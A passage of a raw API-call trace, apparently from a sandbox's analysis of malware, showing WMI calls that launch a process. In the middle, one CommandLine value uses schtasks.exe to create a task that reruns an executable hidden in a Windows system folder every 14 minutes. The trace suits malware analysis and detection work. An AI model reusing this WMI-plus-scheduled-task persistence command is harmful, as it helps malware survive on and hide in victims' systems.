This=0x1bcf56a0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bcf5a10, ppOutSignature=0x1bb7e690*=0x1bcf5d80) returned 0x0 [0154.754] IWbemClassObject:SpawnInstance (in: This=0x1bcf5a10, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bbd3570) returned 0x0 [0154.755] IWbemClassObject:Get (in: This=0x1bbd3570, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ff08*=0, plFlavor=0x285ff0c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ff08*=8, plFlavor=0x285ff0c*=32) returned 0x0 [0154.755] IWbemClassObject:Get (in: This=0x1bbd3570, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ff08*=8, plFlavor=0x285ff0c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ff08*=8, plFlavor=0x285ff0c*=32) returned 0x0 [0154.755] IWbemClassObject:Put (This=0x1bbd3570, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 14 /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0154.755] IWbemClassObject:Get (in: This=0x1bbd3570, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ff98*=0, plFlavor=0x285ff9c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ff98*=13, plFlavor=0x285ff9c*=32) returned 0x0 [0154.756] IWbemClassObject:Get (in: This=0x1bbd3570, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ff98*=13, plFlavor=0x285ff9c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ff98*=13, plFlavor=0x285ff9c*=32) returned 0x0 [0154.756] IUnknown:QueryInterface (in: This=0x1bcf4fc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bcf4fc0) returned 0x0 [0154.756] IUnknown:QueryInterface (in: This=0x1bcf4fc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0154.756] IUnknown:QueryInterface (in: This=0x1bcf4fc0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0154.756] IUnknown:AddRef (This=0x1bcf4fc0) returned 0x3 [0154.756] IUnknown:QueryInterface (in: This=0x1bcf4fc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0154.756] IUnknown:QueryInterface (in: This=0x1bcf4fc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0154.756] IUnknown:QueryInterface (in: This=0x1bcf4fc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bcf4fc8) returned 0x0 [0154.756] IMarshal:GetUnmarshalClass (in: This=0x1bcf4fc8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0154.756] IUnknown:Release (This=0x1bcf4fc8) returned 0x3 [0154.756] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0154.757] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0154.757] IUnknown:QueryInterface (in: This=0x1bcf4fc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0154.757] IUnknown:Release (This=0x1bcf4fc0) returned 0x2 [0154.757] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0154.757] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0154.757] IUnknown:QueryInterface (in: This=0x1bcf4fc0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0154.757] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0154.757] IUnknown:QueryInterface (in: This=0x1bcf4fc0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0154.757] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0154.757] IUnknown:AddRef (This=0x1bcf4fc0) returned 0x3 [0154.757] IWbemClassObject:Put (This=0x1bbd3570, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bcf4fc0, varVal2=0x0), Type=0) returned 0x0 [0154.758] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0be50, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0154.758] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0154.758] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0154.758] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0154.758] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0154.758] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.758] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0154.758] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0154.758] IWbemServices:ExecMethod (in: This=0x1bbab9b0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bbd3570, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bbd3820, ppCallResult=0x0) returned 0x0 [0154.872] IWbemClassObject:Get (in: This=0x1bbd3820, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28602b0*=0, plFlavor=0x28602b4*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcb0, varVal2=0x0), pType=0x28602b0*=19, plFlavor=0x28602b4*=0) returned 0x0 [0154.872] IWbemClassObject:Get (in: This=0x1bbd3820, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28602b0*=19, plFlavor=0x28602b4*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcb0, varVal2=0x0), pType=0x28602b0*=19, plFlavor=0x28602b4*=0) returned 0x0 [0154.873] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0154.873] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0154.873] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0154.873] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.875] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc0ee40) returned 0x0 [0154.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0ee40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0154.876] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0ee40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0b850) returned 0x0 [0154.876] WbemDefPath:IUnknown:Release (This=0x1bc0ee40) returned 0x0 [0154.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0b850) returned 0x0 [0154.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0154.876] WbemDefPath:IUnknown:AddRef (This=0x1aa0b850) returned 0x3 [0154.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0154.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0154.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bb839a0) returned 0x0 [0154.877] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb839a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.877] WbemDefPath:IUnknown:Release (This=0x1bb839a0) returned 0x3 [0154.877] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0154.877] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0154.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0154.877] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x2 [0154.877] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x1 [0154.877] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0154.877] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0154.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0b850) returned 0x0 [0154.878] WbemDefPath:IUnknown:AddRef (This=0x1aa0b850) returned 0x3 [0154.878] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x2 [0154.878] WbemDefPath:IWbemPath:SetText (This=0x1aa0b850, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0154.878] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b850, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0154.878] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b850, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0154.878] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b850, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0154.878] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b850, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0154.878] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b850, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0154.878] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b850, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0154.878] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0154.878] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0154.879] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0154.879] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.881] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bb83a40) returned 0x0 [0154.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb83a40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0154.881] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb83a40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0b790) returned 0x0 [0154.881] WbemDefPath:IUnknown:Release (This=0x1bb83a40) returned 0x0 [0154.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0b790) returned 0x0 [0154.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0154.882] WbemDefPath:IUnknown:AddRef (This=0x1aa0b790) returned 0x3 [0154.882] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0154.882] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0154.882] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bb83a80) returned 0x0 [0154.882] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb83a80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.882] WbemDefPath:IUnknown:Release (This=0x1bb83a80) returned 0x3 [0154.882] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0154.882] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0154.882] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0154.882] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x2 [0154.882] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x1 [0154.883] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0154.883] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0154.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0b790) returned 0x0 [0154.883] WbemDefPath:IUnknown:AddRef (This=0x1aa0b790) returned 0x3 [0154.883] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x2 [0154.883] WbemDefPath:IWbemPath:SetText (This=0x1aa0b790, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0154.883] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b790, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0154.883] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b790, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0154.883] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b790, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0154.883] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b790, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0154.883] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b790, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0154.883] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b790, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0154.883] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b790, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0154.883] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0154.883] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0154.883] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.883] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0154.884] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0154.884] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0154.884] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.886] CoGetClassObject 